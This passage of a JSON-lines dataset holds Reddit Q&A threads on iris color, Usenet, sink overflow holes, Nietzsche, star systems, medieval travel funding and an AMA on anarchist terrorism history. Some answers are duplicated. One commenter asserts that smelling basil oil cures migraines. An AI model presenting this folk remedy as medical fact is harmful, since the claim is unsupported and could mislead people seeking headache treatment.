time.\n\nNowadays you would see for profit healthcare and think \"why would they care if people live or die if they are motivated to make money anyways, the end goal is a conflict for the service they provide\", and thats true for todays time, but many older voters lived in the days were the for profit framework worked really well, and they have beliefs in that system because it worked for them. Many younger generations constructed their views from this older generation, and argue on many fronts that the system can work again with certain principles enacted. Not neccesarily saying its just american conservatism in a nutshell, just things like profit being good for society in general. These older generations lived in times where it worked, and believe that taking the profit goal away from many institutions that arent working the way they used will ensure it wont work at all. Its simply a slow change of tides and the american people slowly accepting the new reality they are in. The ability for freedom of your dollar used to be a prosperous thing, and when that system started to erode (you dont have much freedom if theres hardly anyway to ensure theres tons of dollars floating around), the people alive from the recent (talking all the way to 1960 here, verrry recent), believe the way things made them prosperous.\n\nIt wasnt that inherently these systems were in conflict of intrest (however that is actually arguable), because at the time they provided the service adequately. Its also the fact that the growing divide of where actual money is in the economic spread of the american populous eroded the innate freedom that the \"choice of your dollar\" allowed. The proportional redistrubution of wealth started to ensure many for profit instutions switched their pricing and policies to ever rising economic distancing from the general populous. The slow distancing has ensured that more of the population is unable to be in the system of american for profit service of social product, and you can see it in things like for profit healthcare, industries that provide utilities, all kinds of services that provide the 'social technology' of american society. The framework was relatively stable, and with the changing times its not, and only recently has this hit american society as a whole."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "lcnwf", "title": "If I close one eye for 30 minutes a day while in sunlight, will the exposed one become darker over time?", "selftext": "I have been doing this little experiment for about 2 months actually and I **can** notice a slight difference when I'm inside with UV light in the mirror. But if continue to do this will it continue to become darker? And if I stop doing it will it go back to normal?\n\n*When I say \"become darker\" I mean the shade of the actual iris itself changing.\n\nEDIT: I just got back from the optometrist and he told me that my vision during my last check up (6 months ago) and today, is still the same. \n\n*\n*\nThanks for everyone's feedback and information!!\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/lcnwf/if_i_close_one_eye_for_30_minutes_a_day_while_in/", "answers": {"a_id": ["c2rm90k", "c2rmgbx", "c2rmvga", "c2rnalo", "c2rnts8", "c2rqtb4", "c2rm90k", "c2rmgbx", "c2rmvga", "c2rnalo", "c2rnts8", "c2rqtb4"], "score": [2, 6, 21, 2, 6, 2, 2, 6, 21, 2, 6, 2], "text": ["What do you mean by going darker exactly? \n\n\nIt's similar to eye exposure in the dark and sunlight. If you sit in the dark for at least 30 minutes, your eyes will adjust and you can see a little bit easier. The reverse is true for during the day.", "Why would it change?  If you mean similar to how your skin tans, your eye cells are not the same as your skin cells and as far as I know, they don't produce melanin.  I'd be interested in seeing a picture myself.", "No.  Your cornea absorbs most of the UV before it reaches your iris, and ocular melanin is continuously replenished.\n\n---------------\n\nFrom [here](_URL_0_):\n > Not all wavelengths of light impinging on the surface of the eye illuminate the various melanin-containing cells in the eye. The iridal melanocytes are located behind the cornea and anterior chamber (containing the aqueous humor). The cornea is transparent to visible light, but it absorbs all of the UVC, part of the UVB (22- 73% at 320-300 nm) and a very small amount of UVA (6-20% at 400-330 nm) (8). Therefore, in vivo the iridal melanocytes are exposed only to visible light, UVA and some of the UVB spectrum. The ciliary body and choroidal melanocytes are covered internally by the retina and densely pigmented ciliary and retinal pigment epithelia and externally by thick and nontransparent sciera. In infancy and in early childhood, there is a window of transmission of nearly 8% of UV radiation around 320 nm through the lens, and about 30% of the transmitted UV is absorbed by the RPE before impinging upon the uveal melanocytes (8,9). As a result of the transmission properties of the cornea and lens, only visible light reaches the RPE in the adult human eye (7).\n\n\n", "I don't know about the discoloration, but you should know that for most of the western world, outside of a few hours around noon there is no UV-B in sunlight. UV-B is responsible for the *skin* tan. Depending on where you live there is no UV-B in sunlight during the winter, and possibly some of autumn and spring.When the sun strikes at a lower incidence than 40 degrees, effectively all UV-B is filtered out. Rule of thumb, if your shadow is longer than yourself, you get not tan (nor vitamin D for that matter).\n\nUV-A does cause discoloration of the melanocytes in your skin though, it's a different brown.", "I can offer a personal and very rare perspective on this question. I have two different colored eyes - one is very dark brown and the other is a light green. It's called heterochromia, and very few people have it. I see different shades out of each.  The only time I notice this is when I close one, and then open it and close the other, and do that repeatedly.  But the brown eye gives me reddish shades of everything, and the light green eye is much more white/light blue shades of things. Its especially pronounced with white walls that I do this with.  I guess this doesnt answer whether your eyes will change colors, but tells you about this experience of having different colored eyes.", "On a related note question - I heard eyepatches on pirates were used because of something similar. Wearing one being that one eye was always accustomed to daylight, and they could swap it over to their other eye if they were under attack, or went into the belly of the ship to see much more clearly with their usually darkness-seeing eye. Any validity to that?", "What do you mean by going darker exactly? \n\n\nIt's similar to eye exposure in the dark and sunlight. If you sit in the dark for at least 30 minutes, your eyes will adjust and you can see a little bit easier. The reverse is true for during the day.", "Why would it change?  If you mean similar to how your skin tans, your eye cells are not the same as your skin cells and as far as I know, they don't produce melanin.  I'd be interested in seeing a picture myself.", "No.  Your cornea absorbs most of the UV before it reaches your iris, and ocular melanin is continuously replenished.\n\n---------------\n\nFrom [here](_URL_0_):\n > Not all wavelengths of light impinging on the surface of the eye illuminate the various melanin-containing cells in the eye. The iridal melanocytes are located behind the cornea and anterior chamber (containing the aqueous humor). The cornea is transparent to visible light, but it absorbs all of the UVC, part of the UVB (22- 73% at 320-300 nm) and a very small amount of UVA (6-20% at 400-330 nm) (8). Therefore, in vivo the iridal melanocytes are exposed only to visible light, UVA and some of the UVB spectrum. The ciliary body and choroidal melanocytes are covered internally by the retina and densely pigmented ciliary and retinal pigment epithelia and externally by thick and nontransparent sciera. In infancy and in early childhood, there is a window of transmission of nearly 8% of UV radiation around 320 nm through the lens, and about 30% of the transmitted UV is absorbed by the RPE before impinging upon the uveal melanocytes (8,9). As a result of the transmission properties of the cornea and lens, only visible light reaches the RPE in the adult human eye (7).\n\n\n", "I don't know about the discoloration, but you should know that for most of the western world, outside of a few hours around noon there is no UV-B in sunlight. UV-B is responsible for the *skin* tan. Depending on where you live there is no UV-B in sunlight during the winter, and possibly some of autumn and spring.When the sun strikes at a lower incidence than 40 degrees, effectively all UV-B is filtered out. Rule of thumb, if your shadow is longer than yourself, you get not tan (nor vitamin D for that matter).\n\nUV-A does cause discoloration of the melanocytes in your skin though, it's a different brown.", "I can offer a personal and very rare perspective on this question. I have two different colored eyes - one is very dark brown and the other is a light green. It's called heterochromia, and very few people have it. I see different shades out of each.  The only time I notice this is when I close one, and then open it and close the other, and do that repeatedly.  But the brown eye gives me reddish shades of everything, and the light green eye is much more white/light blue shades of things. Its especially pronounced with white walls that I do this with.  I guess this doesnt answer whether your eyes will change colors, but tells you about this experience of having different colored eyes.", "On a related note question - I heard eyepatches on pirates were used because of something similar. Wearing one being that one eye was always accustomed to daylight, and they could swap it over to their other eye if they were under attack, or went into the belly of the ship to see much more clearly with their usually darkness-seeing eye. Any validity to that?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.redorbit.com/news/science/1388392/role_of_ocular_melanin_in_ophthalmic_physiology_and_pathology/index.html"], [], [], [], [], [], ["http://www.redorbit.com/news/science/1388392/role_of_ocular_melanin_in_ophthalmic_physiology_and_pathology/index.html"], [], [], []]}
{"q_id": "5sp3vs", "title": "why is it that headache doesn't usually come back after the painkillers have stopped working?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5sp3vs/eli5_why_is_it_that_headache_doesnt_usually_come/", "answers": {"a_id": ["ddgubvc", "ddgvmnb"], "score": [3, 2], "text": ["Probably because the headache would have stopped on its own with or without the painkiller.  The painkiller didn't cure the cause of the headache.  It simply masked the pain while your body recovered from the cause.", "I've suffered from migraines since I was 9. I don't mean that pussy foot the light hurts migraines, I mean Id be puking in agony and bashing my head against the wall cause that pain was a percentage less than the pain of the migraine and losing 5-10lbs within a few days. \n\nThe best trick is basil oil, smell it for about 5-10 minutes and its gone. \n\nEdit: to answer your question though it's likely to do with reduced inflammation but not much is known about migraines"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1k5e63", "title": "what is use net?", "selftext": "And why would I want to use it? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1k5e63/what_is_use_net/", "answers": {"a_id": ["cbljr2w", "cbllgtd"], "score": [4, 10], "text": ["Usenet is a hierarchical bulletin board/newsgroup system that predates the WorldWideWeb and was once the primary avenue for discussion on the internet. In the 1990s and early 2000s, discussion shifted to websites (including reddit) and usenet was left mostly neglected. Nowdays it's mostly just a dumping ground for pirated content. ", "Like reddit, just much older.\n\n\nUsenet is an ancient but great discussion board system. You have separate groups, dedicated to certain topics. There are many independent servers you can use. Servers usually have most of the common groups, i.e. they keep all the messages from these groups. To read, you pick any convenient server (e.g. in ancient days, one located nearby, e.g. at your university).\n\nThen you use a program like Thunderbird to download the messages and read them. Unlike a web forum, where all the icons, tables, HTML etc. have to be downloaded, you only transfer pure plain text messages. Since your client (Thunderbird) can download them, you can easily do it when you have internet, and then read (and reply!) while offline. Your messages go out to the world when you connect again.\n\nAs soon as you send a message, your server will distribute it to other servers he knows (as long as they carry the group where you posted), which in turn will forward it to others. Today, your message usually reaches every common server within seconds. This way, it doesn't matter which server you use.\n\nIt's great, but about 30 years old (possibly older than the WWW!) and has its issues (no upvotes/downvotes, for example). The decentralization (many servers) makes it hard to ban people without pre-moderating everything, so some groups have been overrun by trolls. Other than that, it is an amazing system, still preferred by many. Mozilla uses usenet for discussions about the browser, for example (they sync it to their mailing lists). The main downside is that you need a client instead of just visiting a web page, but once you get one, it is awesome.\n\n\nSome people discovered that you could also post non-text stuff (binaries), aka porn, movies and other pirated stuff, and have it distributed that way.  Since this puts a lot of load on the servers, only special (usually paid) \"binary\" servers allow this. So basically, you have one usenet for discussions and one for piracy.\n\nFor the latter, you use a special client that automatically finds the tens of thousands of messages into which your movie or other content was split, downloads them, joins them, and spits out a file. It's basically like megaupload, just that all servers exchange the content with each other. It has little to do with the original idea of usenet (sometimes even technically - some servers unpack the files for you, so it's basically a giant network drive full of warez)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5mr6ba", "title": "what does the small hole near the top of sinks do?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5mr6ba/eli5_what_does_the_small_hole_near_the_top_of/", "answers": {"a_id": ["dc5oh8a", "dc5opw5", "dc5wwlb"], "score": [98, 16, 3], "text": ["It is there as an overflow. So if you forgot the plug in and the water open, the water should drain through there instead of overflowing the sink and onto the floors.\n\nThe hole connects directly to the down drain pipe.", "Additional to what is already said, it's there so you can have air flow into the pipe when you empty the sink.", "They sell attachments that fit in there so your parents can monitor whether you brushed your teeth, and you'll never notice. Have you ever wondered how we just know?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3oqdxq", "title": "what is the meaning behind nietzsche's statement \"god is dead\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3oqdxq/eli5_what_is_the_meaning_behind_nietzsches/", "answers": {"a_id": ["cvzh151", "cvzh1jh", "cvzk6sh", "cvzkdxe", "cvzkzei", "cvzm5k9", "cvzq1dv", "cvzrpdx", "cvzutbs", "cvzvklc", "cw05m33"], "score": [222, 21, 2, 41, 2, 7, 23, 2, 4, 3, 2], "text": ["The psychological need for \"god\" is no longer there, as civilization has evolved.  \n\nThe implication is that there was never a \"god\", just something that Man created to fill a perceived hole in his psyche.", "Nietzsche actually explains this himself in a very nice passage in \"The Gay Science\":\n\n343 The meaning of our cheerfulness.\u2014 The greatest recent event\u2014that \"God is dead,\"' that the belief in the Christian god has become unbelievable\u2014is already beginning to cast its first shadows over Europe. For the few at least whose eyes\u2014the suspicion in whose eyes is strong and subtle enough for this spectacle, some sun seems to have set and some ancient and profound trust has been turned into doubt; to them our old world must appear daily more like evening, more mistrustful, stranger, \"older.\" But in the main one may say: The event itself is far too great, too distant, too remote from the multitude's capacity for comprehension even for the tidings of it to be thought of as having arrived as yet. Much less may one suppose that many people know as yet what this event really means\u2014and how much must collapse now that this faith has been undermined because it was built upon this faith, propped up by it, grown into it; for example, the whole of our European morality. This long plenitude and sequence of breakdown, destruction, ruin, and cataclysm that is now impending\u2014who could guess enough of it today to be compelled to play the teacher and advance proclaimer of this monstrous logic of terror, the prophet of a gloom and an eclipse of the sun whose like has probably never yet occurred on earth?\n\nEven we born guessers of riddles who are, as it were, waiting on the mountains, posted between today and tomorrow, stretched in the contradiction between today and tomorrow, we firstlings and premature births of the coming century, to whom the shadows that must soon envelop Europe really should have appeared by now\u2014why is it that even we look forward to the /280/ approaching gloom without any real sense of involvement and above all without any worry and fear for ourselves? Are we perhaps still too much under the impression of the initial consequences of this event\u2014and these initial consequences, the consequences for ourselves, are quite the opposite of what one might perhaps expect: They are not at all sad and gloomy but rather like a new and scarcely describable kind of light, happiness, relief, exhilaration, encouragement, dawn.\n\nIndeed, we philosophers and \"free spirits\" feel, when we hear the news that \"the old god is dead,\" as if a new dawn shone on us; our heart overflows with gratitude, amazement, premonitions, expectation. At long last the horizon appears free to us again, even if it should not be bright; at long last our ships may venture out again, venture out to face any danger; all the daring of the lover of knowledge is permitted again; the sea, our sea, lies open again; perhaps there has never yet been such an \"open sea.\"\u2014", "It actually has very little to do with religion. From a literary standpoint, I believe he is saying that there is no longer a \"transcendental signified\", which is sort of the *center* of meaning. It is the one thing that is absolutely true, to which we can derive all meaning from. \n\nTherefore, Nietzsche is saying that we now understand that there is probably no transcendental signified, therefore no place to begin our understanding of meaning. So we cannot say what is right and wrong anymore, which ties into morality, and therefore God is dead.", "[Wikipedia](_URL_0_) has an article about that.\n\n > The phrase \"God is dead\" does not mean that Nietzsche believed in an actual God who first existed and then died in a literal sense. Rather, it conveys his view that the Christian God is no longer a credible source of absolute moral principles. Nietzsche recognizes the crisis that the death of God represents for existing moral assumptions: \"When one gives up the Christian faith, one pulls the right to Christian morality out from under one's feet. This morality is by no means self-evident... By breaking one main concept out of Christianity, the faith in God, one breaks the whole: nothing necessary remains in one's hands.\"[3] This is why in \"The Madman\", a passage which primarily addresses nontheists (especially atheists), the problem is to retain any system of values in the absence of a divine order.", "What I understood from the few times I got in contact with this topic: In earlier days, people had a poor understanding of their surrounding. Things they did not understand (like thunderstorms) convinced them of mystical powers. At the same time, civilisations tried to bind their rules of living together to these mystical powers to convince people to follow these rules. By the time Nietzsche did his thing, ethics as well as science had progressed enough to render the explanation by means of mystical powers unnecessary.", "Are you trying to get reddit to do your homework?", "Nietzsche identified three ages of religion.\n\nThe first age, the age of sacrifice, cast God as a capricious and omnipotent figure who must be appeased. God was a way for a powerless man to feel powerful, to feel like there is something he can do to prevent floods or poor harvests, to make some sense of the world.\n\nThe second age of religion was the age of saints. In this age, men used God to take power over themselves, sacrificing not a goat but their own desires in an effort to prove that they are stronger than their instincts. This was a powerful age of God that drove men to great achievement.\n\nIn the third age of religion, the post-reformation period, God takes a back seat. Rather, which practices are best, which combinations of social ideals should be the foundation of society became the role of faith. It was no longer about the interactions of a powerful being in your life, but about who was in charge of what on earth. In that era of faith, God is dead - a figure who has passed on, who's estate we are dividing between popes and pastors.\n\nIndeed, in the prologue of Thus Spoke Zarathustra, Nietzsche's self-proclaimed Masterpiece, Zarathustra comes upon an old hermit living in the woods. He spoke of his personal relationship with God and renouncing wealth to prove his virtue, and Zarathustra quickly fled - he stated that he did not want to ruin this man with knowledge that God is dead. This can be interpreted as an endorsement of simple faith and of people who practice religion in the true sense - that his message is not for them, but for the people who say that religions should shape societies.\n\nMany modern 21st century Christians have largely overcome the third age of religion - as was indeed Nietzsche's hope  - to once more practice an empowering school of religion. When you pray to God that your mother makes it through the cancer, that's a first age God. That God is alive. When you pray to God to help you get off of drugs, that is a second age God - that God is alive. But when you pray to God that your son isn't gay or that Obama doesn't make it into the White House, or talk about how this social movement or that goes against God's will, that's third age - that's a dead God. That is not an empowering God, that's not a God that gives hope and strength, but a God who's estate we are dividing, talking not about what we want from him, but what he *would have* wanted from us.", "in short, Nietzsche argued that for most people, God was no longer the basis of morality, or at least that this would soon be true of most people.", " >  After Buddha was dead, his shadow was still shown for centuries in a cave \u2013 a tremendous, gruesome shadow. God is dead; but given the way of men, there may still be caves for thousands of years in which his shadow will be shown. \u2013 And we \u2013 we still have to vanquish his shadow, too.\n\nNietzsche, writing at the end of the 19th century, feared that a crisis in values, which he called nihilism, was approaching. He saw an impending decline in religious faith due to acceptance of Darwin's explanation of the origin of species, which nullified the need for belief in a creator. Nietzsche  could see that belief in the Christian god was starting to die, and that the death of belief in Christianity would soon spread throughout the Western world. The task for Nietzsche and Nietzscheans was to create new, more life-affirming values than the Christian ones that they would replace. In accordance with this goal, Nietzsche created the myths of the Ubermensch (Overman), the Will to Power, and the Eternal Recurrence.\n\nAs it turned out after Nietzsche's death, religious fundamentalists simply rejected Darwinism and other aspects of modernism. ", "It's important to read the \"God is Dead\" statement with the the passage of the \"The Madman\". \nWhile the psychological need for god is no longer there, Nietzsche seems to imply that most have not yet acknowledged that fact or the fact that we ourselves are god's killer. ", "The way I see it, he's saying that using religion as a tool for ourselves has peaked. The point at which religion has dominated our lives is over and now its all in slow decline. Eventually we as a society will all be non-religious and religion will die out completely. It may be hard to see sometimes with religion on the rise in the developing world but just ask yourself this \"What happens when the developing world is developed?\" Religiosity will sink and just like the developed world of today will go on the decline. Religiosity will eventually fade into oblivion.\n\nNietzsche however does not say that this is a time of rejoicing but rather that it is a time to despair. After religion, then what? What will keep our societal values in check? What will tell us how we should live? What will tell us what we should and should not do? Could science do this? According to Nietzsche, no science cannot fill the gap that religion once occupy, despite our subconscious belief that it can. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://en.wikipedia.org/wiki/God_is_dead"], [], [], [], [], [], [], []]}
{"q_id": "2vb5hq", "title": "How possible is it for a solar system or systems to exist like depicted in the show 'Firefly'?", "selftext": "As title suggests, in 'Firefly', there is a very complex and crowded solar system(s), with a main star in the middle, with other (I assume smaller) stars orbiting it. Additionally, there are also stars orbiting the secondary stars. All these stars have many planets and those planets have many moons. How likely is it, or is it even possible to have such a thing exist?\n\nLink for map/chart of said Firefly system: _URL_0_", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2vb5hq/how_possible_is_it_for_a_solar_system_or_systems/", "answers": {"a_id": ["cog2oqf"], "score": [15], "text": ["We have detected two star systems that have seven stars each - [Nu Scorpii](_URL_1_) and [AR Cassiopeiae](_URL_0_), so this kind of thing is quite rare, but not at all impossible.\n\nThe planets' orbits in that image are also fairly realistic, if you assume things aren't shown to scale. Usually, to have a stable orbit you either need your star, planet, or moon to be so far away from all the stars that the whole star system feels like a single point to you, *or* your star, planet, or moon needs to be close enough to a bigger star or planet that it utterly dominates the local gravity.\n\nSo stable star systems tend to have a sort of *hierarchy* to them. You have a central massive star around which the other smaller stars orbit. Planets can orbit around the central star, or around the smaller stars if they're close enough to them. Moons can orbit the planets too, if they're close enough to the planet.\n\nOr you might have two pairs of close binaries forming a quadruple star system. In that case, each of the pairs are orbiting tightly enough that they feel like a single point to the more distant pair. So again, you have the hierarchy of things orbiting things orbiting things."]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/jlrh56P.jpg"], "answers_urls": [["http://en.wikipedia.org/wiki/AR_Cassiopeiae", "http://en.wikipedia.org/wiki/Nu_Scorpii"]]}
{"q_id": "6rb42i", "title": "How did long distance overland travellers (e.g. Marco Polo) fund themselves over the months and years their journeys took?", "selftext": "I've always wondered this. If you are travelling overland from Europe to China in the medieval period, how did you pay for food etc? Could you carry enough money to sustain you over all this time?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6rb42i/how_did_long_distance_overland_travellers_eg/", "answers": {"a_id": ["dl3umq5", "dl3v3l2"], "score": [61, 1094], "text": ["A follow up questions: \n\n1. If they did carry all this money around for the entire trip, what prevented dishonest rulers, warlords or chiefs from simply robbing the travelers.\n\n2. To the best of my knowledge most explorers were traders looking to make a fortune and/or were commissioned by a noble or high ranking cleric and served as diplomats and ambassadors. Would such diplomatic missions be covered up front, or were the travelers expected to cover their own costs and get a reward upon successful completion? Or would they get some kind of stipend to cover traveling costs, to be followed by a reward afterwards? Or... ?", "The hajj, or pilgrimage to Mecca, offers a good look at the variety of funding methods for long-distance travelers in the medieval circum-Mediterranean world.\n\nThe first option was, of course, to just bring caravan-loads of gold (and sufficient troops and slaves to guard it). This was most famously practiced by Musa, the 13C *mansa* of Mali, whose lavish gift distribution as he passed across North Africa and through the Levant supposedly cratered the economy through inflation for *years*.\n\nBut very few people could afford this sort of expense at the outset, and even fewer were willing to risk it. Bandits were a real problem--both raiders in the (North African) desert or (European) forest, but also government officials. Ibn Battuta is barely out of Tangiers when the untimely death of one of the merchants in his caravan results in the governor's officials snatching up three thousand dinars that had been for the merchant and his travel companion.\n\nSo one option was to trade goods along the way. Ross Dunn mentions gemstones and leather goods as popular barter items along the hajj route, but I'm not sure what his primary source there is. The \"trade along the way\" method was definitely practiced by *sea-based* merchants, though, both along the Mediterranean coasts and eventually when Europeans started to prowl the western coast of Africa. Goods were swapped for goods, with the hope of making a slim profit margin each time.\n\nSome people earned money along the way through hard labor when opportunities arose. Ibn Battuta's caravan across North Africa would stop in towns for substantial portions of time, for example (long enough for him to get married in one town, get in a bitter battle with his wife's family in the next and divorce her, and get married again in a third). Construction or other odd jobs might be a way for people to shore up a little money.\n\nThere were also, in lucky circumstances, institutional frameworks set up to aid travelers. Sticking with our hajj case study, the Mamluks organized charitable distributions for the *massive* caravans that would coagulate in Damascus for the last push to Mecca, and even set up hostels of sorts along the way for shelter. The sultan in Egypt, too, Ibn Battuta tells us, sought to supply camels loaded down with food and other supplies to pilgrims with little means remaining. (In Europe, monasteries might provide overnight housing, especially along pilgrimage routes, and Jewish merchants traveling around the Mediterranean often found welcome in various towns' Jewish communities.)\n\nBut Ibn Battuta? Ibn Battuta had the best funding method.\n\nHe just got people to give him money.\n\nStuck in Damascus and facing a long haul to Mecca? No matter. Ibn Battuta actually ran out of money altogether when he was in Damascus. Nur al-Din, the lawyer he'd been staying with, supplied him with money, food, and apparently multiple camels. \n\nAnd our intrepid scholar-traveler got just as lucky on the other side. Determining to travel onward rather than return home across North Africa, he attached himself to the caravan going north, to Persia/the Ilkhanate. And the caravan leader himself paid out of pocket for fresh camels and other supplies for the scholar.\n\nIbn Battuta is an exception in *so* many ways--his education and elevated social status in the Islamic world as a scholar, of course, but also, if ever someone rolled a natural 18 charisma, it was him. But he was an exception whose writing, about his own travels and his observations of those around him, give great insight into long-distance travel in the medieval world."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2b2b5f", "title": "Dr. Richard Jensen, author of 'The Battle Against Anarchist Terrorism' and expert in the development of worldwide terrorism, will be here to answer questions beginning at 4:00PM EST", "selftext": "A conflict came up in the schedule, and we had to push the time back one hour - but we're still on track otherwise! The original post will be updated when the AMA goes 'live.'\n\nDr. Jensen is one of the leading historians of political violence in this era and spent about 10 years composing his latest work. He has published several articles (and one book) in public security/terrorism in Italy during the 19th century, as well as several manuals for instruction of history in the modern world. Some of the issues he is prepared to discuss are:\n\n1. Diplomatic, police, and wider socio-economic and political efforts to fight, repress, and prevent anarchist terrorism, 1878-1930s\n2. Anarchist terrorism: its causes and history, 1878-1930s\n3. The question whether the present Al-Qaeda/Islamic extremist associated terrorism of today is closely comparable to 19th century anarchist terrorism (as has often been alleged).\n\nThese obviously don't limit the extent of the AMA, so feel free to ask away! ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2b2b5f/dr_richard_jensen_author_of_the_battle_against/", "answers": {"a_id": ["cj13w0z", "cj13w54", "cj13w9p", "cj13x0j", "cj1463x", "cj14azw", "cj14e6g", "cj14oqo", "cj14uxm", "cj15a8d", "cj16klt", "cj16ri3", "cj16yx4", "cj17kf7", "cj17lns", "cj18xwy", "cj195xt", "cj19fy8", "cj19i3k", "cj1bez5", "cj1dqnk", "cj1e55n", "cj1i9tr", "cj1lntl"], "score": [2, 5, 10, 2, 7, 4, 12, 4, 6, 4, 2, 2, 4, 5, 2, 11, 3, 3, 3, 6, 3, 3, 4, 6], "text": ["Was terrorism effective at (i) spreading anarchism and strengthening anarchist movements (ii) achieving the stated political objectives of the anarchists?\n\nA lot of political science research indicates that terrorism is ineffective at achieving the stated political objectives of terrorist groups but that terrorism is effective at (i) achieving utility for the individuals who use terrorism (ii) increasing the strength of the organization that uses terrorism. How would your research on anarchist terrorism fit into the \"terrorism effectiveness\" debate?", "What is the legacy of anarchist terrorists today?", "How did the ideology of anarchist terrorists shape the way that they functioned and ways that governments countered them? Would anarchist terrorists behave differently than terrorists driven by communism, religion or separatism and would a government respond to the anarchists in a different way?", "I take it that anarchist terrorism has largely disappeared? If so, why? What are some of the lessons for counterterrorism today?", "Dr. Jensen, thanks for the opportunity for the AMA. I'm not too acquainted with the subject, but here goes...\n\n1. What is \"terrorism\" exactly? What distinguishes terrorism from other forms of political violence? Is the term \"state terrorism\" useful considering state already monopolizes violence?\n\n2. There is one line I remember from an article I once read discussing today terrorism (paraphrased), \"injustice rarely breeds violence, but a deep perception of injustice does it often.\" Does such analysis apply to anarchist terrorism?\n\n3. What kind of deradicalization programs were implemented back then in 1878-1930s when dealing with anarchist terrorists? What can be learned for dealing with today terrorism?\n\n", "When was the word terrorism first used and for what?", "What lessons can modern anarchists learn from the successes and failures of the anarchist terrorists you study?", "1) I once read an article discussing the definition of suicide terrorism which made the claim that most anarchist assassinations could be viewed as a form of \"suicide terrorism,\" as the close-range nature of their methods (knives, pistols, bombs thrown by hand) meant that the anarchist carrying out the mission was almost always killed or captured. Would you agree with that assessment? \n\n2) Did any anarchists receive formal training in the way that both leftist revolutionary groups and Islamic extremists have been known to do? ", "Hello Dr. Jensen. It is my absolute honor to speak to you through this medium and I hope that I will be able to purchase your book within the foreseeable future. I am very excited to be able to ask this.\n\nMy question has to do with the combating of anarchist terrorism and that of intelligence. In modern counterinsurgency, the use of local and shared intelligence can be decisive in the fight against insurgents - how was intelligence on possible anarchist terrorism collected by different police forces during 1878 and the 1930's? Was it shared between different nations and how effective did it end up being?", "A few questions for you!\n\n* As far as I recall reading, everyone seems to have different thoughts on the matter, but what is your opinion on the truth behind the Haymarket Massacre?\n\n* The conventional wisdom is that \"Propaganda by the Deed\" was a counter-productive strategy. Do you feel that this holds true, or were there any appreciable gains that the movement got out of it?\n\n* Why did Anarchism seem to have such little gains in the UK? It was big on the Continent, and there were even some prominent Americans, but in my reading I recall next to nothing about Anarchist groups having any appreciable presence in Britain during the turn of the century.", "Regarding The first point, how did the efforts to repress anarchist terrorism between 1878 and the 1930s affect the ideology and tactics of anarchists worldwide throughout the next several decades?", "Hello Dr. Jensen. \n\nWas there an anarchist group in the 20th or 19th century that achieved their objective?  Or were all of them unsuccessful.\n\nThank you.", "What ritualised or rhetorical aspects characterised the cycle of rancor and reconciliation between anarchist terrorist groups and state groups?\n\nWas this the point when political violence, at local level, could be said to have moved from seeking redress or vengeance for determinable and definable injuries into a less effable ideological and possibly unattainable ideal?\n\nDid anarchist terrorist movements ever look back to the various 'peasant movements' for inspiration, validation, or tactics?", "Hello, Dr. Jensen! Is it proper to call Leon Czolgosz an anarchist?\n\nAlso, in my research, I've noticed plenty of references to socialist agitation in Alaska during the last decade of the 19th century and first decades of the 20th century ... but few references to anarchism (usually in the context of newspaper editorials saying it's a bad thing). Was anarchism primarily an urban thing? Are you familiar with any links to Alaska?", "Thank you for this opportunity Dr. Jensen. My question are as such: Do you believe that there exists the socio-economic conditions for a resurgence of anarchist terrorism (or an anarchist movement at all) similar to that of the start of the 20th century, or comparably so? In the light of the fall of communism and the Soviet Union, do you see any factors which could lead to the larger anarchist movement which would pose a threat to democracy?\n", "Thanks for doing the AMA, Dr. Jensen. I've personally studied Mexican anarchism and its legacy in modern libertarian socialist movements, so I'm interested in what you have to say.\n\nI'm not entirely clear on the limits of your study. Are you focused mainly on the \"propaganda of the deed\" type actions taken by individual anarchists and small cells of anarchists, or do you also look as mass mobilizations by anarchist communists and syndicalists? Has your work touched on the role of anarchists in the Mexican Revolution or in the Russian and Spanish civil wars?\n\nGiven the persecution of anarchists following the 1886 Haymarket massacre and the crack-down on anarchist and other leftist groups in the First Red Scare, how much of state action against anarchists in the United States would you say was directed at suppressing political groups in the interest of stability, as opposed to the ostensible goals of stopping \"terrorists\"? Also, given that much of the crackdown on anarchists in the late 19th and early 20th centuries was tied to their efforts in labor organizing, do you find that (in the countries of your study) anarchist terrorism was used as a byword to move against the labor movement?\n\nYou bring up in your pre-discussion topics a comparison between anarchist groups in your period of study and modern Islamic extremist groups. I was wondering what kind of parallels you draw in your research. The comparison seems weak to me, but I see that your specialty is in Italian anarchism, which I know comparatively little about, so I'm interested in your reasoning.", "Did any states ever fund any terrorism at all before World War 2? Also obligatory thanks for the AMA.", "how did anarchist terrorist motivate themselves or in other words how did they boost morale?", "This is about a specific person, so it's a bit more narrow than the issues in the OP, I hope that's okay. \n\nWhat did later revolutionaries think about Sergey Nechayev? From what I've read it seems like both his former comrades and the rest of the movement disliked him strongly around the time of his imprisonment. Did that change in the decades after his death?", "1. What made you switch your focus from American history to 19th Century Italy?\n\n2. Why do you think Anarchism has diminished so much in influence?\n\n3. Would you rather live in Minot, North Dakota, Sumter, South Carolina, or El Centro, California? (We've gotten dinner together in all those places, if you can guess who this is!)\n", "Dr. Jensen, leading government ministers and monarchs seem to have been the primary (or at least the most-remembered) targets of anarchist violence. Were private citizens or low-level governmental officials ever targeted by anarchist groups during the 1870s to 1930s?", "How much did the anarchism movement influence the Bolsheviks in their lead up to the 